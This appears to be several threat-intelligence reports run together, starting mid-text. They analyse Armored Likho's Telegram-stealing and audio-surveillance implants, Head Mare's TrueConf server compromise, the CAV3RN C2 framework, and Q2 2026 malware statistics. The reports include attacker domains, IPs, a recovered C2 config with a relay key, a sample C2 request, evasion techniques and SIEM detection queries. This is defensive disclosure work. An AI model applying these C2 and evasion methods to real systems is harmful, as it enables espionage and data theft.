Telegram data collection
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
C:\: used for the extended search (if the scan_portable option is on).
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
snapshot_id: an identifier the server assigns to the current data snapshot.
present: a list of file paths that are already present on the server.
This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
Creating a backup copy through the Shadow Copy service and reading files from there
If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode
Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
User details, such as username, phone number, first and last name
Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
Dialogs from private chats, groups, and channels (if the download_channels option is on)
Media files under 250MB: photos, documents, stickers, and contacts
Still Audio
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
While running in the background, it creates a file, logfile.log, to write logs to.
Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
Encrypted C2 address inside the GitHub repository
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
machine_id: a unique identifier for the current device.
vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
max_buffer_size: the maximum buffer size for recorded audio data.
active_device: the name of the input device selected for recording, from the list of available devices.
The eavesdropping process
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
The malicious module in the list of apps using the microphone
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
Infrastructure
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.
Domain
IP address
Registration date
ASN
orderapiserver[.]info
187.127.153[.]38
April 18, 2026
47583
tg4service[.]com
159.198.37[.]74
October 4, 2025
22612
srwinservice[.]com
213.252.244[.]123
March 19, 2026
61272
screenserv[.]com
23.26.237[.]250
February 13, 2026
149440
windowserv[.]net
23.27.24[.]30
February 10, 2026
149440
managementapiservice[.]com
188.212.124[.]178
May 1, 2026
202448
service8date[.]com
145.223.69[.]143
January 13, 2026
215311
updateservs[.]com
145.223.68[.]66
December 23, 2025
215311
Victims
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
Attribution
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.
Takeaways
The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.
This web shell was used for the following activities:
collecting data on the IT infrastructure;
gaining privileged access to the TrueConf database;
replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.
To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
Creation of suspicious files by TrueConf Server processes.
Execution of a TrueConf Client installer file that lacks a software developer’s signature.
Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
Actions related to retrieving information about the lsass.exe process.
Memory dump creation for the lsass.exe process using the comsvcs.dll library.
Accessing the memory of the lsass.exe process.
Creating tunnels using the ssh process.
To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory: R405_07_File write to IIS native modules folder or OWA via WriteData.
Creating a memory dump of the lsass.exe process using the comsvcs.dll library: R233_04_Process memory dump via comsvcs.dll.
Accessing the memory of the lsass.exe process: R262_Suspicious access to the LSASS process.
We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
DeviceEventClassID = '4697'
AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication module
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command
Functionality
s_version
Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config
Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog
Enables diagnostic logging at the Debug level.
s_deLog
Disables diagnostic logging and sets the logging level to Fatal.
s_write
Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}
The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet
None (0)
GIDFailed (1)
GoogleFailed (2)
DirectFailed (3)
120 (0x78)
Google Apps Script
Direct HTTPS
Direct HTTPS
Google Apps Script
130 (0x82)
Direct HTTPS
Direct HTTPS
Direct HTTPS
Close the transaction (no channel)
140 (0x8C)
Exception
Exception
Exception
Exception
All other values
Google Apps Script
Google Apps Script
Google Apps Script
Google Apps Script
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channel
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channel
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL broker
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command
Function
000
Lists loaded component names and versions
001
Lists every DLL path discovered by the scanner
002
Lists each loaded component’s path, name, and version
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Infrastructure
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
Quarterly figures
In Q2 2026:
Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
Web Anti-Virus responded to 52 million unique links.
File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
There were 2538 new ransomware variants discovered.
More than 71,000 users experienced ransomware attacks.
15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
More than 213,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Threat actor disruption
Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.
Vulnerabilities and attacks
CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.
Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.
Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).
Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)
Number of new ransomware variants
In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.
Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)
Number of users attacked by ransomware Trojans
Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.
Number of unique users attacked by ransomware Trojans, Q2 2026 (download)
TOP 10 countries and territories attacked by ransomware Trojans
Country/territory*
%**
1
South Korea
0.87
2
Pakistan
0.76
3
China
0.71
4
Libya
0.49
5
Tajikistan
0.46
6
Turkmenistan
0.38
7
Cameroon
0.38
8
Indonesia
0.36
9
Bangladesh
0.36
10
Mozambique
0.34
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new miner variants
In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.
Number of new miner modifications, Q2 2026 (download)
Number of users attacked by miners
In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q2 2026 (download)
TOP 10 countries and territories attacked by miners
Country/territory*
%**
1
Mali
1.56
2
Senegal
1.54
3
Tanzania
1.32
4
Panama
1.04
5
Bangladesh
1.03
6
Ethiopia
0.87
7
Costa Rica
0.67
8
Bolivia
0.67
9
Côte d’Ivoire
0.65
10
Kazakhstan
0.62
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
Quarterly highlights
In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.
In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.
In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.
TOP 20 threats to macOS
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.
TOP 10 countries and territories by share of attacked users
Country/territory
%* Q1 2026
%* Q2 2026
Brazil
1.13
1.13
China
1.04
1.28
Hong Kong
0.92
0.49
Singapore
0.85
0.19
France
0.62
1.18
Mexico
0.43
0.72
India
0.41
0.42
Thailand
0.40
0.24
Germany
0.33
0.71
The Netherlands
0.31
0.62
* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
The share of SSH attacks saw a slight uptick compared to the previous quarter.
Distribution of cybercriminal sessions in Kaspersky honeypots (download)
TOP 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.
Attacks on IoT honeypots
the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.
Country/territory
Q1 2026
Q2 2026
The Netherlands
17.57%
21.18%
Germany
10.34%
16.73%
United States
23.74%
6.76%
Bulgaria
1.10%
5.50%
Sweden
2.09%
4.93%
Panama
6.34%
4.67%
Luxembourg
0.16%
4.62%
Romania
5.82%
4.06%
Vietnam
3.50%
3.91%
India
6.05%
2.78%
The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.
Country/territory
Q1 2026
Q2 2026
Pakistan
27.31%
36.60%
China
39.54%
35.62%
Russian Federation
8.25%
8.75%
India
4.66%
4.19%
Brazil
3.30%
3.34%
United States
0.45%
3.03%
Indonesia
6.71%
1.52%
Philippines
0.36%
0.95%
France
0.17%
0.84%
Thailand
0.55%
0.66%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries and territories that served as sources of web-based attacks
The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.
Web-based attacks by country/territory, Q1 2026 (download)
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Bangladesh
